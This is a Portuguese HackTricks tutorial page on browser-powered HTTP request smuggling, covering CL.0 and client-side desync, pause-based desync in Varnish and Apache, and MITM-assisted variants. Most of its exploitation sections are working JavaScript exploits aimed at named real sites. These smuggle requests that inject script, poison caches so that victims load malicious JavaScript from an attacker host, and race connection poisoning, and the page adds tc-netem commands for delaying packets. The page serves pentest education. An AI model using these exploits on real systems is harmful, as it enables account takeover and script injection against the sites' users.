hacktricks/pentesting-web/http-request-smuggling/browser-http-request-smuggling.md

22 KiB

Browser HTTP Request Smuggling

Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks:

## CL.0/H2.0 desync compatível com navegador

Esta vulnerabilidade ocorre quando o cabeçalho Content Length (CL) é completamente ignorado pelo servidor backend. Então, o backend trata o corpo como o início do método da segunda requisição. Ignorar o CL é equivalente a tratá-lo como se tivesse um valor de 0, portanto, isso é um desync CL.0 - uma classe de ataque conhecida mas menos explorada.

O ataque foi possível porque o servidor backend simplesmente não estava esperando uma requisição POST.

{% hint style="warning" %} Note que esta vulnerabilidade é ativada por uma requisição HTTP completamente válida, em conformidade com a especificação. Isso significa que o front-end não tem nenhuma chance de proteção contra ela, e ela poderia até ser ativada por um navegador. {% endhint %}

A única diferença entre CL.0 e H2.0 é que o segundo está usando HTTP2 (que tem um cabeçalho de comprimento de conteúdo implícito), mas o backend também não está usando isso.

Desync do Lado do Cliente

Ataques de desync tradicionais envenenam a conexão entre um servidor front-end e backend, e por isso são impossíveis em sites que não usam uma arquitetura front-end/backend. Estes são desyncs do lado do servidor a partir de agora. A maioria dos desyncs do lado do servidor só pode ser ativada por um cliente HTTP personalizado emitindo uma requisição malformada.

A capacidade de um navegador causar um desync possibilita uma nova classe de ameaça chamada desync do lado do cliente (CSD).
Um ataque CSD começa com a vítima visitando o site do atacante, que então faz com que o navegador dela envie duas requisições cross-domain para o site vulnerável. A primeira requisição é elaborada para desyncar a conexão do navegador e fazer com que a segunda requisição acione uma resposta prejudicial, tipicamente dando ao atacante controle da conta da vítima.

Detectar

Um vetor CSD é uma requisição HTTP com duas propriedades chave.

Primeiro, o servidor deve ignorar o Content-Length (CL) da requisição. Isso geralmente acontece porque a requisição ou ativou um erro no servidor, ou o servidor simplesmente não estava esperando uma requisição POST para o endpoint escolhido. Tente mirar em arquivos estáticos e redirecionamentos no nível do servidor, e ativar erros via URLs excessivamente longas, e semi-malformadas como /%2e%2e.

Em segundo lugar, a requisição deve ser ativável em um navegador web cross-domain. Navegadores restringem severamente o controle sobre requisições cross-domain, então você tem controle limitado sobre cabeçalhos, e se sua requisição tem um corpo, você precisará usar o método HTTP POST. No final, você só controla a URL, além de algumas outras coisas como o cabeçalho Referer, o corpo, e a parte final do Content-Type.

Teste de ignorância do CL

A maneira de testar essa má configuração é enviar 2 requisições e contrabandear uma no meio. Se a conexão contrabandeada afetou a resposta da segunda requisição, significa que está vulnerável:

{% hint style="warning" %} Note que você não pode testar essa vulnerabilidade apenas enviando um Content-Length maior do que o enviado e procurando por um timeout, porque alguns servidores respondem mesmo que não tenham recebido o corpo inteiro. {% endhint %}

É importante notar se o site alvo suporta HTTP/2. Ataques CSD geralmente exploram a reutilização de conexão HTTP/1.1 e navegadores web preferem usar HTTP/2 sempre que possível, então se o site alvo suporta HTTP/2 seus ataques provavelmente não funcionarão. Há uma exceção; alguns proxies avançados não suportam HTTP/2 então você pode explorar qualquer um que os use. Isso inclui proxies corporativos, certas VPNs intrusivas e até algumas ferramentas de segurança.

Confirmar

Primeiro, selecione um site para lançar o ataque. Este site deve ser acessado via HTTPS e localizado em um domínio diferente do alvo.

Em seguida, certifique-se de que você não tem um proxy configurado, e então navegue até o seu site de ataque. Abra as ferramentas de desenvolvedor e vá para a aba Rede. Para ajudar na depuração de problemas potenciais mais tarde, recomendo fazer os seguintes ajustes:

  • Selecione a caixa de seleção "Preserve log".
  • Clique com o botão direito nos cabeçalhos das colunas e ative a coluna "Connection ID".

Mude para o console do desenvolvedor e execute JavaScript para replicar sua sequência de ataque usando fetch(). Isso pode parecer algo como:

fetch('https://example.com/', {
method: 'POST',
body: "GET /hopefully404 HTTP/1.1\r\nX: Y", // malicious prefix
mode: 'no-cors', // ensure connection ID is visible
credentials: 'include' // poison 'with-cookies' pool
}).then(() => {
location = 'https://example.com/' // use the poisoned connection
})

Exploração - Armazenar

Uma opção é identificar funcionalidades no site alvo que permitam armazenar dados de texto, e criar o prefixo de modo que os cookies da vítima, cabeçalhos de autenticação ou senha acabem sendo armazenados em algum lugar que você possa recuperar. Este fluxo de ataque funciona quase idêntico ao contrabando de requisições do lado do servidor, então não vou me aprofundar nisso.

Exploração - Encadear e pivotar

Em circunstâncias normais, muitas classes de ataque do lado do servidor só podem ser lançadas por um atacante com acesso direto ao site alvo, pois dependem de requisições HTTP que os navegadores se recusam a enviar, como manipulação de cabeçalhos HTTP - envenenamento de cache da web, a maioria dos contrabandos de requisições do lado do servidor, ataques de cabeçalho de host, User-Agent baseado em SQLi, CSRF JSON Content-type e muitos outros.

O caminho mais simples para um ataque bem-sucedido veio de duas técnicas-chave geralmente usadas para ataques de desincronização do lado do servidor: envenenamento de recursos JavaScript via redirecionamentos de cabeçalho de Host, e usando o método HEAD para juntar uma resposta com HTML prejudicial. Ambas as técnicas precisaram ser adaptadas para superar alguns desafios novos associados à operação no navegador da vítima.

Exemplos de Exploração

Exemplo de HEAD empilhado

  • Exploração colorida

  • Exploração JS
fetch('https://www.capitalone.ca/assets', {
method: 'POST',
// use a cache-buster to delay the response
body: `HEAD /404/?cb=${Date.now()} HTTP/1.1\r\nHost: www.capitalone.ca\r\n\r\nGET /x?x=<script>alert(1)</script> HTTP/1.1\r\nX: Y`,
credentials: 'include',
mode: 'cors' // throw an error instead of following redirect
}).catch(() => {
location = 'https://www.capitalone.ca/'
})va

Explicação:

  • Abuso de CL.0 em /assets (ele redireciona para /assets/ e não verifica o CL)
  • Contrabandear uma requisição HEAD (porque as respostas HEAD ainda contêm um content-length)
  • Contrabandear uma requisição GET cujo conteúdo vai ser refletido na resposta com o payload.
  • Por causa do content-length do HEAD req, a resposta desta requisição será o corpo da requisição HEAD
  • Definir modo cors. Normalmente isso não é feito, mas neste caso a resposta do servidor ao POST inicial é um redirecionamento que, se seguido, o exploit não funcionará. Portanto, o modo cors é usado para desencadear um erro e redirecionar a vítima com o catch.

Redirecionamento do cabeçalho do host + envenenamento de cache do lado do cliente

  • Exploit JS
fetch('https://redacted/', {
method: 'POST',
body: "GET /+webvpn+/ HTTP/1.1\r\nHost: x.psres.net\r\nX: Y",
credentials: 'include'}
).catch(() => { location='https://redacted/+CSCOE+/win.js' })
  • Uma requisição para /+webvpn+/ com um domínio diferente no cabeçalho Host é respondida com um redirecionamento para /+webvpn+/index.html para aquele domínio dentro do cabeçalho Host.
  • O local na segunda requisição é definido para /+CSCOE+/win.js a fim de envenenar o cache daquele arquivo .js.
  • Esta requisição será respondida com o redirecionamento de /+webvpn+/ para o domínio do atacante com o caminho /+webvpn+/index.html
  • O cache de win.js será envenenado com um redirecionamento para a página do atacante, mas também a vítima irá seguir o redirecionamento como foi atribuído na variável location e terminará na página web do atacante.
  • O atacante então redirecionará a vítima para https://redacted/+CSCOE+/logon.html. Esta página importará /+CSCOE+/win.js. Cujo cache é um redirecionamento para o servidor do atacante, portanto, o atacante pode responder com um JS malicioso.

A vítima irá acessar a página do atacante duas vezes, a primeira ela espera um HTML que redirecione a vítima de volta para https://redacted/+CSCOE+/logon.html e a segunda ela espera código javascript (o payload). Um poliglota pode ser usado para servir ambas as respostas em apenas uma:

HTTP/1.1 200 OK
Content-Type: text/html

alert('oh dear')/*<script>location = 'https://redacted/+CSCOE+/logon.html'</script>*/

Carga útil HEAD com TE fragmentado

Ao procurar por CSD, você também pode testar URLs semi-malformadas como /..%2f ou /%2f.

  • Exploit Colorido

  • Exploit JS
fetch('https://www.verisign.com/%2f', {
method: 'POST',
body: `HEAD /assets/languagefiles/AZE.html HTTP/1.1\r\nHost: www.verisign.com\r\nConnection: keep-alive\r\nTransfer-Encoding: chunked\r\n\r\n34d\r\nx`,
credentials: 'include',
headers: {'Content-Type': 'application/x-www-form-urlencoded'
}}).catch(() => {
let form = document.createElement('form')
form.method = 'POST'
form.action = 'https://www.verisign.com/robots.txt'
form.enctype = 'text/plain'
let input = document.createElement('input')
input.name = '0\r\n\r\nGET /<svg/onload=alert(1)> HTTP/1.1\r\nHost: www.verisign.com\r\n\r\nGET /?aaaaaaaaaaaaaaa HTTP/1.1\r\nHost: www.verisign.com\r\n\r\n'
input.value = ''
form.appendChild(input)
document.body.appendChild(form)
form.submit()
}
  • A página /%2f é acessada para explorar a vulnerabilidade CL.0.
  • Uma requisição HEAD é contrabandeada usando um Transfer-Encoding: chunked header.
  • Esse cabeçalho é necessário neste cenário porque, caso contrário, o servidor recusava aceitar uma requisição HEAD com um corpo.
  • Em seguida, o usuário envia um POST cujo corpo contém o final do chunk da requisição HEAD anterior e uma nova requisição que é contrabandeada com conteúdo (o payload JS) que será refletido na resposta.
  • Portanto, o navegador tratará a resposta à requisição HEAD como a resposta à requisição POST, que também conterá na resposta do corpo que reflete a entrada do usuário na segunda requisição contrabandeada.

Redirecionamento do cabeçalho Host + RC

  • JS Exploit
<script>
function reset() {
fetch('https://vpn.redacted/robots.txt',
{mode: 'no-cors', credentials: 'include'}
).then(() => {
x.location = "https://vpn.redacted/dana-na/meeting/meeting_testjs.cgi?cb="+Date.now()
})
setTimeout(poison, 120) // worked on 140. went down to 110
}

function poison(){
sendPoison()
sendPoison()
sendPoison()
setTimeout(reset, 1000)
}

function sendPoison(){
fetch('https://vpn.redacted/dana-na/css/ds_1234cb049586a32ce264fd67d524d7271e4affc0e377d7aede9db4be17f57fc1.css',
{
method: 'POST',
body: "GET /xdana-na/imgs/footerbg.gif HTTP/1.1\r\nHost: x.psres.net\r\nFoo: '+'a'.repeat(9826)+'\r\nConnection: keep-alive\r\n\r\n",
mode: 'no-cors',
credentials: 'include'
}
)
}

</script>
<a onclick="x = window.open('about:blank'); reset()">Start attack</a>

Neste caso, novamente, há um host header redirect que poderia ser usado para hijack uma importação de JS. No entanto, desta vez o redirect não é cacheável, então o envenenamento de cache do lado do cliente não é uma opção.

Portanto, o ataque realizado fará com que a vítima acesse a página vulnerável em uma aba e então, justo antes da página tentar carregar um arquivo JS, envenene o socket smuggling connections (3 neste caso).
Como o timing tem que ser extremamente preciso, o ataque é realizado contra uma nova aba a cada iteração até funcionar.

{% hint style="warning" %} Lembre-se de que neste caso /meeting_testjs.cgi foi atacado porque carrega um Javascript que está respondendo com um 404, então não está em cache. Em outros cenários onde você tenta atacar um JS que está em cache, você precisa esperar que ele desapareça do cache antes de lançar um novo ataque. {% endhint %}

Passos resumidos:

  • Abrir uma nova janela.
  • Emitir uma solicitação inofensiva ao alvo para estabelecer uma conexão nova, tornando os tempos mais consistentes.
  • Navegar a janela para a página alvo em /meeting_testjs.cgi.
  • 120ms depois, criar três conexões envenenadas usando o gadget de redirecionamento.
  • 5ms depois, enquanto renderiza /meeting_testjs.cgi, a vítima tentará, com sorte, importar /appletRedirect.js e será redirecionada para x.psres.net, que fornece JS malicioso.
  • Se não, tente o ataque novamente.

Desync baseado em pausa

Pausar também pode criar novas vulnerabilidades de desync ao desencadear implementações equivocadas de timeout de solicitação.

Assim, um atacante pode enviar uma solicitação com headers indicando que há um corpo, e então esperar que o front-end dê timeout antes de enviar o corpo. Se o front-end der timeout mas deixar a conexão aberta, o corpo dessa solicitação será tratado como uma nova solicitação.

Exemplo: Varnish

O cache Varnish tem um recurso chamado synth(), que permite emitir uma resposta sem encaminhar a solicitação para o back-end. Aqui está um exemplo de regra sendo usada para bloquear o acesso a uma pasta:

if (req.url ~ "^/admin") {
return (synth(403, "Forbidden"));
}

Ao processar uma solicitação parcial que corresponde a uma regra sintética, o Varnish irá expirar se não receber dados por 15 segundos. Quando isso acontece, ele deixa a conexão aberta para reutilização, mesmo que tenha lido apenas metade da solicitação do socket. Isso significa que, se o cliente continuar com a segunda metade da solicitação HTTP, ela será interpretada como uma nova solicitação.

Para desencadear um desync baseado em pausa em um front-end vulnerável, comece enviando seus cabeçalhos, prometendo um corpo e depois apenas espere. Eventualmente, você receberá uma resposta e, quando finalmente enviar o corpo da sua solicitação, ele será interpretado como um novo pedido:

{% hint style="warning" %} Aparentemente, isso foi corrigido em 25 de janeiro como CVE-2022-23959. {% endhint %}

Exemplo: Apache

Assim como o Varnish, ele é vulnerável em pontos finais onde o servidor gera a resposta por si mesmo em vez de deixar o aplicativo lidar com a solicitação. Uma maneira de isso acontecer é com redirecionamentos no nível do servidor: Redirect 301 / /en

Exploração do Lado do Servidor

Se o servidor vulnerável (Apache ou Varnish neste caso) estiver no back-end, é necessário um front-end que transmita a solicitação para o servidor back-end (cabeçalhos http neste caso) sem armazenar em buffer o corpo inteiro da solicitação.

Neste caso, o atacante não receberá o tempo de resposta até que ele tenha enviado o corpo. Mas se ele conhece o tempo de expiração, isso não deve ser um problema.

O Application Load Balancer (ALB) da Amazon irá transmitir os dados da conexão conforme necessário, mas se ele receber a resposta para a solicitação pela metade (o tempo de expiração) antes de receber o corpo, ele não enviará o corpo, então uma Condição de Corrida deve ser explorada aqui:

Há uma complicação adicional ao explorar o Apache por trás do ALB - ambos os servidores têm um tempo de expiração padrão de 60 segundos. Isso deixa uma janela de tempo extremamente pequena para enviar a segunda parte da solicitação. O ataque RC foi finalmente bem-sucedido após 66 horas.

Exploração MITM

Aparentemente, não é possível interromper uma solicitação do navegador para explorar uma vulnerabilidade de desync baseada em pausa. No entanto, você sempre pode realizar um ataque MITM para pausar uma solicitação enviada pelo navegador. Observe que este ataque não depende de descriptografar nenhum tráfego.

O fluxo do ataque é muito semelhante a um ataque de desync do lado do cliente regular. O usuário visita uma página controlada pelo atacante, que emite uma série de solicitações entre domínios para o aplicativo alvo. A primeira solicitação HTTP é deliberadamente aumentada para ser tão grande que o sistema operacional a divida em vários pacotes TCP, permitindo que um MITM ativo retarde o pacote final, desencadeando um desync baseado em pausa. Devido ao preenchimento, o atacante pode identificar qual pacote pausar simplesmente com base no tamanho.

Do lado do cliente, parece um desync do lado do cliente regular usando o gadget HEAD, exceto pelo preenchimento da solicitação:

let form = document.createElement('form')
form.method = 'POST'
form.enctype = 'text/plain'
form.action = 'https://x.psres.net:6082/redirect?'+"h".repeat(600)+ Date.now()
let input = document.createElement('input')
input.name = "HEAD / HTTP/1.1\r\nHost: x\r\n\r\nGET /redirect?<script>alert(document.domain)</script> HTTP/1.1\r\nHost: x\r\nFoo: bar"+"\r\n\r\n".repeat(1700)+"x"
input.value = "x"
form.append(input)
document.body.appendChild(form)
form.submit()

No sistema do atacante realizando o MITM cego, o atraso foi implementado usando tc-NetEm:

# Setup
tc qdisc add dev eth0 root handle 1: prio priomap

# Flag packets to 34.255.5.242 that are between 700 and 1300 bytes
tc filter add dev eth0 protocol ip parent 1:0 prio 1 basic \
match 'u32(u32 0x22ff05f2 0xffffffff at 16)' \
and 'cmp(u16 at 2 layer network gt 0x02bc)' \
and 'cmp(u16 at 2 layer network lt 0x0514)' \
flowid 1:3

# Delay flagged packets by 61 seconds
tc qdisc add dev eth0 parent 1:3 handle 10: netem delay 61s

Referências

Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks: